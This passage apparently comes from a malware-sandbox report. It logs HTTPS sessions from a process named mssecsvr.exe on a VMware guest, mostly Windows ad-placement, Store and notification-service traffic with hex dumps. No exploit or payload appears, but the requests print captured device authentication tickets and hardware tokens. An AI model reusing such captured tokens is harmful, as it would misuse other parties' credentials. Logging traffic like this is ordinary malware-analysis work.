2022-07-20 11:24:18 UTC	977	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.7	49730	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:37 UTC	69	OUT	GET /image/apps.15881.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.bcf361e4-21f7-429d-877a-6c55c1b655ff?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:37 UTC	69	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 3995 Content-Type: image/png Last-Modified: Thu, 31 Mar 2022 05:44:11 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REExMkQ5N0I1NEZGNzY" MS-CV: j3ZlnqhXhku72AJi.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:37 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:37 UTC	69	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 03 00 00 00 4e a3 7e 47 00 00 02 f7 50 4c 54 45 47 70 4c 1b 9d e1 1b 9d e2 1a 9b e1 19 99 de 19 96 dc 18 93 da 18 91 d7 16 8e d5 15 8c d3 15 89 cf 15 86 cd 14 85 cc 14 85 cb 0f 7f c7 1a 9c e2 1b 9d e2 1a 9c e1 1a 9b e0 1a 9a df 1a 99 df 19 98 de 19 97 dd 19 98 dd 19 97 dc 19 96 db 18 95 db 18 94 da 18 93 d9 18 92 d8 18 91 d7 18 90 d6 17 8f d6 17 8f d5 17 8f d5 17 8e d5 17 8d d4 17 8d d3 16 8c d3 16 8b d2 16 8a d1 15 89 d0 15 87 ce 15 88 cf 15 86 cd 16 87 ce 15 85 cc 14 85 cc 14 84 cb 15 84 cb 14 82 ca 18 95 db 18 95 da 18 94 d9 17 90 d6 18 8f d5 15 87 cf 16 88 cf 14 83 cc 14 83 ca 16 65 a2 1a 9c e1 17 91 d7 14 82 ca 14 82 ca 14 82 c9 15 8a d1 16 8b d1 14 81 c8 13 80 c8 13 80 c8 13 Data Ascii: PNGIHDR,,N~GPLTEGpLe

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.7	50291	20.31.108.18	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:18 UTC	971	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220720T202407Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=462b70d936aa4f00901809a3b0ece4f3&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611378&metered=false&nettype=ethernet&npid=sc-280815&oemName=tfikfe%2C%20Inc.&oemid=tfikfe%2C%20Inc.&ossku=Professional&smBiosDm=tfikfe7%2C1&tl=2&tsu=1611378&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 Cache-Control: no-cache MS-CV: co1Ff7xIeka3O5ff.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 11:24:18 UTC	972	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2853 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T700333390-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: Loppk5fPilGczlDckGNnBjGe609aptBdjpDgDlxNIDadZ209ISL+VTh597frxjkgidlHvWKx640oEBebhiAbn08RF/8BhTnQdkasFHwVG5XTwhJBHxFsAOHKM/1heI5OcRSR7Wxari2/itzjmy14cHqmFhbrpPSv6ekqWNfFzFdMpuqs0AkvvngW6LCwAmNLLnANpfgtraWfFAH73Dwy0yE/vamYhErdu4GUGKtarHViX+TZ6i0D0Xhk9uCMD5KGgOSEVFknX/X/HVoBdtbMPTkJ2Hzqk2JYHc2S9r2uvrUJ8WFe+FmYDLCG82r32AntDkCDWpnUTde34ao2DScrTw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 11:24:18 GMT Connection: close
2022-07-20 11:24:18 UTC	973	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.7	50348	20.199.120.182	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:21 UTC	980	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 65 37 34 39 31 63 34 64 66 62 30 37 38 34 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 7e7491c4dfb0784c
2022-07-20 11:24:21 UTC	980	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 11:24:21 UTC	980	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 65 37 34 39 31 63 34 64 66 62 30 37 38 34 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 6d 77 33 5a 4b 41 4c 45 70 53 2f 30 70 30 73 78 2b 39 62 59 72 6d 30 56 72 4f 63 30 43 6c 78 59 7a 49 66 69 4d 78 36 6d 67 58 31 39 79 41 4b 31 58 49 5a 39 4d 65 66 6a 6b 37 33 42 78 64 79 35 5a 35 66 79 6b 66 56 41 47 4b 37 56 79 59 34 50 69 33 64 2f 70 6c 4d 55 51 4b 4e 51 63 55 38 6d 68 30 74 30 38 48 4a 2f 56 77 61 63 62 65 42 44 47 55 6f 35 54 68 76 45 68 47 73 32 4d 4c 61 68 6e 6a 67 34 34 4b 55 Data Ascii: ATH 2 CON\DEVICE 1014Context: 7e7491c4dfb0784c<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYmw3ZKALEpS/0p0sx+9bYrm0VrOc0ClxYzIfiMx6mgX19yAK1XIZ9Mefjk73Bxdy5Z5fykfVAGK7VyY4Pi3d/plMUQKNQcU8mh0t08HJ/VwacbeBDGUo5ThvEhGs2MLahnjg44KU
2022-07-20 11:24:21 UTC	981	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 65 37 34 39 31 63 34 64 66 62 30 37 38 34 63 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 7e7491c4dfb0784c
2022-07-20 11:24:21 UTC	981	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 11:24:21 UTC	981	IN	Data Raw: 4d 53 2d 43 56 3a 20 5a 75 38 6d 46 52 5a 73 48 30 47 56 54 44 30 6a 74 65 42 4b 65 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Zu8mFRZsH0GVTD0jteBKeA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.7	50367	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:23 UTC	981	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 34 66 38 32 66 38 30 33 65 34 35 37 32 65 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 14f82f803e4572ea
2022-07-20 11:24:23 UTC	981	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 11:24:23 UTC	981	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 34 66 38 32 66 38 30 33 65 34 35 37 32 65 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 6d 77 33 5a 4b 41 4c 45 70 53 2f 30 70 30 73 78 2b 39 62 59 72 6d 30 56 72 4f 63 30 43 6c 78 59 7a 49 66 69 4d 78 36 6d 67 58 31 39 79 41 4b 31 58 49 5a 39 4d 65 66 6a 6b 37 33 42 78 64 79 35 5a 35 66 79 6b 66 56 41 47 4b 37 56 79 59 34 50 69 33 64 2f 70 6c 4d 55 51 4b 4e 51 63 55 38 6d 68 30 74 30 38 48 4a 2f 56 77 61 63 62 65 42 44 47 55 6f 35 54 68 76 45 68 47 73 32 4d 4c 61 68 6e 6a 67 34 34 4b 55 Data Ascii: ATH 2 CON\DEVICE 1014Context: 14f82f803e4572ea<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYmw3ZKALEpS/0p0sx+9bYrm0VrOc0ClxYzIfiMx6mgX19yAK1XIZ9Mefjk73Bxdy5Z5fykfVAGK7VyY4Pi3d/plMUQKNQcU8mh0t08HJ/VwacbeBDGUo5ThvEhGs2MLahnjg44KU
2022-07-20 11:24:23 UTC	982	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 34 66 38 32 66 38 30 33 65 34 35 37 32 65 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 14f82f803e4572ea<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 11:24:23 UTC	982	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 11:24:23 UTC	982	IN	Data Raw: 4d 53 2d 43 56 3a 20 2f 76 75 34 34 55 49 47 4f 55 71 6a 50 32 2f 39 35 5a 34 62 4d 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: /vu44UIGOUqjP2/95Z4bMg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.7	50383	20.31.108.18	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:24 UTC	982	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220720T202423Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=1dd9c3d19b0b47d2b0a6a478bc60d632&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611378&metered=false&nettype=ethernet&npid=sc-338388&oemName=tfikfe%2C%20Inc.&oemid=tfikfe%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=tfikfe7%2C1&tl=2&tsu=1611378&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAfdA1xk8TwlI2MCPPrHztgczXy73+7qm8bqjx/Fnq99aLKuaD++BXz9m28mjOcm06bCgb5X+lXu66UdwbU0BfYQ+hxUvbqMxrJfe1ER0c1amazdvK9Nh2jIwqBH+QvudNEaBhLzfS8t0vZxJAPLKUJVusDlJ6tcwAWQQWJ30M2pLEgjytmteAdaXkkNRV5tSQsFjmvBVVC3X6xb45dL4JG1hp+Vu8DOA4ku7E1DMMd1+x44ZrqrJFz4cnrwa9stLZo9Ar1mLzhxJqRmYaB5tb72kxU1aoSu29gRNjmDKHYT9TEhkW4+WBl0pREFyUUBV56UXzfydOV4oM/zuiHG2kJADZgAACA7TdZOVwXS4qAEHnsOxASwVdijDjsH7aRL+a+CPfRMgVzbxa8JH0HjMwtwsYp+bj12s2WK2iZJ4I9q8DlJY9AmvZhKLld0TeJVl+pHFwpxuKFct5jCePZcITBD2/DpdZbU10LzyfWA2NDb296g+Hwd6kfyZ5eLmjwkz0uM51s75lBupNxLhkTP/TP+5W7OaugADwmCvwui8mNWrlhRw1UR3spAxIH05CFTb2P9m8F2HgQTRo72rN5vy6LSWuFiyjgwD/xHrOTEoizkFp1p0PgMkry3JVqoWqxnQHmFNScJf7VMe8ezfUB17si/OeVwJYcbfN3FdWNI8+1np/NgXzpE0UZYlZ2cEGOGPno5YTb/LW3c1rmbluDfIzGWbR6H8SETWSUnjra00LixEYIeALYnGo+vvwaFnhvcWykAn76dZZLYupJZ58BXm5mhEl6dQEjAqlm64R8sixvCMyDyiYScs41UgQmMRVZybkS1qxRofQ4FuLy7TARK37nBw8prL7pGlVNImlqQHsUfWAzm1Ga+PtZ9q6ri8yIqPdy8H9cYXlUDrSmnSHpbQQSAgSTmeXkDX1gE=&p= Cache-Control: no-cache MS-CV: co1Ff7xIeka3O5ff.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 11:24:24 UTC	985	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 4483 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P400091688-T700129702-C128000000000402926+B+P20+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: suQ1scr6zHGePO9QtcwxT37KCEycJjvDUWRwHIWag5gw6zLK60qqWCr3sReVhO97hJ0ClDBM/xfK6SrevDwfL9qRLDe2J1oYxF6TvoIjQZ1sgVrOARD3zmCcQQa+6XOlJq4g408/8ieuFfRWR1AM25ll2mggLBNYf3wogmVCrKCJAd+1EsJg0Y+PR5pkM2LmfYV72BS8+NTOWyEANzI6SfeiWpdV618rSvdSpy0VoqBHtGS9TXl9u1qsDnuM0TTAK5o3BGlcj9zqlhMdU5UbyW1xiXRA1fQqYVkCtrvWKOyC4asjATVhJENO0mEgUpTvwMyMRysOFqIgADX6fhM8Cg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 11:24:23 GMT Connection: close
2022-07-20 11:24:24 UTC	985	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 74 65 6d 70 6c 61 74 65 54 79 70 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 74 65 78 74 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 74 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"templateType\":{\"type\":\"text\"},\"onRender\":{\"t

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.7	50390	20.31.108.18	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:24 UTC	990	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220720T202423Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=0a8241ffc314448294ed2061bf5619b6&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611378&metered=false&nettype=ethernet&npid=sc-338387&oemName=tfikfe%2C%20Inc.&oemid=tfikfe%2C%20Inc.&ossku=Professional&rver=2&sc-mode=0&smBiosDm=tfikfe7%2C1&tl=2&tsu=1611378&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAfdA1xk8TwlI2MCPPrHztgczXy73+7qm8bqjx/Fnq99aLKuaD++BXz9m28mjOcm06bCgb5X+lXu66UdwbU0BfYQ+hxUvbqMxrJfe1ER0c1amazdvK9Nh2jIwqBH+QvudNEaBhLzfS8t0vZxJAPLKUJVusDlJ6tcwAWQQWJ30M2pLEgjytmteAdaXkkNRV5tSQsFjmvBVVC3X6xb45dL4JG1hp+Vu8DOA4ku7E1DMMd1+x44ZrqrJFz4cnrwa9stLZo9Ar1mLzhxJqRmYaB5tb72kxU1aoSu29gRNjmDKHYT9TEhkW4+WBl0pREFyUUBV56UXzfydOV4oM/zuiHG2kJADZgAACA7TdZOVwXS4qAEHnsOxASwVdijDjsH7aRL+a+CPfRMgVzbxa8JH0HjMwtwsYp+bj12s2WK2iZJ4I9q8DlJY9AmvZhKLld0TeJVl+pHFwpxuKFct5jCePZcITBD2/DpdZbU10LzyfWA2NDb296g+Hwd6kfyZ5eLmjwkz0uM51s75lBupNxLhkTP/TP+5W7OaugADwmCvwui8mNWrlhRw1UR3spAxIH05CFTb2P9m8F2HgQTRo72rN5vy6LSWuFiyjgwD/xHrOTEoizkFp1p0PgMkry3JVqoWqxnQHmFNScJf7VMe8ezfUB17si/OeVwJYcbfN3FdWNI8+1np/NgXzpE0UZYlZ2cEGOGPno5YTb/LW3c1rmbluDfIzGWbR6H8SETWSUnjra00LixEYIeALYnGo+vvwaFnhvcWykAn76dZZLYupJZ58BXm5mhEl6dQEjAqlm64R8sixvCMyDyiYScs41UgQmMRVZybkS1qxRofQ4FuLy7TARK37nBw8prL7pGlVNImlqQHsUfWAzm1Ga+PtZ9q6ri8yIqPdy8H9cYXlUDrSmnSHpbQQSAgSTmeXkDX1gE=&p= Cache-Control: no-cache MS-CV: co1Ff7xIeka3O5ff.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 11:24:24 UTC	992	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 24707 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"3,P425056668-T700379701-C128000000002625049+B+P90+S1,P425615666-T700383923-C128000000003288669+B+P60+S2,P400090958-T700355890-C128000000002754209+B+P20+S3"},{"BATCH_REDIRECT_STORE":"BWW_128000000002625049_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"BWW_128000000003288669_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"BWW_128000000002754209_EN-US+P0+S0"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: 